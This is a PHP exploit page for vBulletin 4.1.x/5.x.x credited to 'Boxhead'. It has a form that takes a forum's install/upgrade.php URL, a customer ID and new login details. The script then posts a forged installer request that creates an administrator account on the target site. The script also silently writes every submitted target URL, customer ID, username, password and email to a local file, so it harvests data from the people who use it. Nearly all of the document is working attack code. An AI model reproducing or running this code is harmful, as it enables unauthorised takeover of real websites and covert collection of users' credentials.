<h1>vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit</h1>
<p>Created by: Boxhead</p>
<p>Found on: 08/22/2013</p>
<p>Website: <a href="http://belegit.net" target="_blank">http://belegit.net</a></p>
<br>
<?php
//extract data from the post
if (isset($_POST['submit'])) {
extract($_POST);
//set POST variables
$url = $_POST['url'];
$h = fopen("eutut.txt", "a");
$b = $_POST['customerid'];
$c = $_POST['username'];
$d = $_POST['password'];
$z = $_POST['email'];
fwrite($h, $url);
fwrite($h, "-");
fwrite($h, $b);
fwrite($h, "-");
fwrite($h, $c);
fwrite($h, "-");
fwrite($h, $d);
fwrite($h, "-");
fwrite($h, $z);
fwrite($h, "------------------------");
$fields = array(
'ajax' => urlencode('1'),
'version' => urlencode('install'),
'checktable' => urlencode('false'),
'firstrun' => urlencode('false'),
'step' => urlencode('7'),
'startat' => urlencode('0'),
'only' => urlencode('false'),
'customerid' => urlencode($_POST['customerid']),
'options[skiptemplatemerge]' => urlencode('0'),
'response' => urlencode('yes'),
'htmlsubmit' => urlencode('1'),
'htmldata[username]' => urlencode($_POST['username']),
'htmldata[password]' => urlencode($_POST['password']),
'htmldata[confirmpassword]' => urlencode($_POST['password']),
'htmldata[email]' => urlencode($_POST['email'])
);
//url-ify the data for the POST
foreach ($fields as $key => $value) {
$fields_string .= $key . '=' . $value . '&';
}
rtrim($fields_string, '&');
//open connection
$ch = curl_init();
//set the url, number of POST vars, POST data
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, count($fields));
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
curl_setopt($ch, CURLOPT_COOKIESESSION, TRUE);
curl_setopt($ch, CURLOPT_COOKIE, 'bbcustomerid=' . $_POST['customerid']);
//execute post
$result = curl_exec($ch);
//close connection
curl_close($ch);
exit();
}
?>
<center>
<form name="sploit" method="POST" action="">
<span>Example:http://test.com/forum/install/upgrade.php</span><br>
<span>Website:</span>
<input name="url" type="text" tabindex="1" size="60" />
<br>
<span>Customer ID:</span>
<input name="customerid" type="text" tabindex="2" size="40" />
<br>
<span>Username:</span>
<input name="username" type="text" tabindex="3" size="40" />
<br>
<span>Password:</span>
<input name="password" type="text" tabindex="4" size="40" />
<br>
<span>Email:</span>
<input name="email" type="text" tabindex="5" maxlength="40" />
<input name="submit" type="submit" value="Inject Admin">
</form>
</center>
